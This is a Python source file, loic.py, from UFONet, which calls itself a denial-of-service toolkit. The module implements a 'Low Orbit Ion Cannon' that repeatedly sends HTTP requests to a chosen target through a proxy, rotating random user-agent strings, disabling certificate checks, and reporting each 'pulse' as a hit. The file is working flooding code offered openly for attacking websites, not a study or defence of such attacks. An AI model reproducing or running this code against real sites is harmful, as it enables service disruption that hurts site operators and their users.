loic.py 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import requests, random
  10. from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
  11. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  12. # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
  13. def ionize(self, target, rounds, proxy):
  14. n=0
  15. try:
  16. proxyD = {
  17. "http" : proxy,
  18. }
  19. for i in range(0, int(rounds)):
  20. n=n+1
  21. self.user_agent = random.choice(self.agents).strip()
  22. headers = {'User-Agent': str(self.user_agent)}
  23. try:
  24. r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
  25. print "[Info] LOIC: Firing 'pulse' ["+str(n)+"] -> Status: HIT!"
  26. except:
  27. print "[Error] LOIC: Failed to engage with 'pulse' ["+str(n)+"]"
  28. except:
  29. print("[Error] LOIC: Failing to engage. Is still target online?...")
  30. class LOIC(object):
  31. def __init__(self):
  32. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  33. self.agents = []
  34. f = open(self.agents_file)
  35. agents = f.readlines()
  36. f.close()
  37. for agent in agents:
  38. self.agents.append(agent)
  39. def attacking(self, target, rounds, proxy):
  40. print "\n[Info] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
  41. ionize(self, target, rounds, proxy) # attack with LOIC using threading